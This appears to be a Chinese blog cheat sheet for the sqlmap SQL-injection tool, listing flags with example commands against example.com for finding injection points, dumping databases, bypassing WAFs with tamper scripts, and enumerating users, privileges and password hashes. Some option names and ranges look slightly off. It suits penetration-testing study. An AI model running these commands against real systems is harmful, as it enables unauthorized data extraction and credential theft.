sqlmap的使用笔记及示例

sqlmap的使用笔记

文章目录

  • sqlmap的使用笔记
    • 1. 目标
    • 2. 脱库
      • 2.1. 脱库(补充)
    • 3. 其他
      • 3.1. 其他(补充)

1. 目标

操作 作用 必要示例
-u 指定URL,检测注入点 sqlmap -u 'http://example.com/?id=1'
-m 指定txt,里面有很多个URL sqlmap -m urls.txt
-r 检测POST请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中 sqlmap -r request.txt
–cookie 指定cookie的值,单/双引号包裹 sqlmap -u "http://example.com?id=x" --cookie 'session_id=1234'
-D 指定数据库 sqlmap -u 'http://example.com/?id=1' -D mydatabase
-T 指定表 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable
-C 指定字段 sqlmap -u 'http://example.com/?id=1' -D mydatabase -T mytable -C mycolumn

2. 脱库

操作 作用 必要示例
-b 获取数据库版本 sqlmap -u -b
–current-db 当前数据库 sqlmap -u --current-db
–dbs 获取数据库 sqlmap -u --dbs
–tables 获取表 sqlmap -u --tables -D
–columns 获取字段 sqlmap -u --columns -D -T
–schema 字段类型 sqlmap -u --schema -D
–dump 获取数据 sqlmap -u --dump -D -T
–start 开始的行 sqlmap -u --start=1 -D -T
–stop 结束的行 sqlmap -u --stop=10 -D -T
–search 搜索库表字段 sqlmap -u --search -C
–tamper WAF绕过 sqlmap -u --tamper=

2.1. 脱库(补充)

  • –current-db获取的是当前的数据库名称,而–dbs获取的是所有的数据库名称
  • WAF 指的是“Web Application Firewall”,即网络应用防火墙,例如sqlmap -u ‘http://xx/?id=1’ --tamper ‘space2comment.py’,sqlmap有很多内置的绕过脚本(脚本按照用途命名),在/usr/share/sqlmap/tamper/目录下
  • –search:如果你正在寻找包含特定关键字的列,这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。

3. 其他

操作 作用 必要示例
–batch 不再询问确认 sqlmap -u 'http://example.com/?id=1' --batch
–method=GET 指定请求方式 sqlmap -u 'http://example.com/?id=1' --method=GET
–random-agent 随机UA sqlmap -u 'http://example.com/?id=1' --random-agent
–user-agent 自定义UA sqlmap -u 'http://example.com/?id=1' --user-agent 'MyUserAgent'
–referer 自定义referer sqlmap -u 'http://example.com/?id=1' --referer 'http://referer.com'
–proxy=“123” 代理 sqlmap -u 'http://example.com/?id=1' --proxy='http://123.123.123.123:8080'
–threads 10 线程数1~10 sqlmap -u 'http://example.com/?id=1' --threads 10
–level=1 测试等级1~5 sqlmap -u 'http://example.com/?id=1' --level=1
–risk=1 风险等级0~3 sqlmap -u 'http://example.com/?id=1' --risk=1

3.1. 其他(补充)

  • 测试等级:这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试,这些测试可能更复杂,有时也更具侵入性。例如,在较低的等级上,SQLMap 可能只测试最常见的注入类型,而在较高等级上,它会尝试更多不常见的或复杂的注入技术。
  • 风险等级:风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试,这些测试可能会对数据库造成更大的负担或风险。例如,一些高风险测试可能包括执行实际的数据库操作(如更新或删除数据),而低风险测试则尽量避免这种潜在的破坏性操作。
操作 作用 必要示例
-a 自动识别和测试所有参数 sqlmap -u 'http://example.com/?id=1' -a
–current-user 获取当前数据库用户 sqlmap -u 'http://example.com/?id=1' --current-user
–is-dbs 检测可能的数据库 sqlmap -u 'http://example.com/?id=1' --is-dbs
–users 枚举数据库服务器上的用户 sqlmap -u 'http://example.com/?id=1' --users
–privileges 枚举数据库用户的权限 sqlmap -u 'http://example.com/?id=1' --privileges
–passwords 尝试获取数据库用户的密码 sqlmap -u 'http://example.com/?id=1' --passwords
–hostname 获取数据库服务器的主机名 sqlmap -u 'http://example.com/?id=1' --hostname
–statements 捕获并显示SQL语句 sqlmap -u 'http://example.com/?id=1' --statements

你可能感兴趣的:(web安全,笔记,数据库,安全,web安全,sql)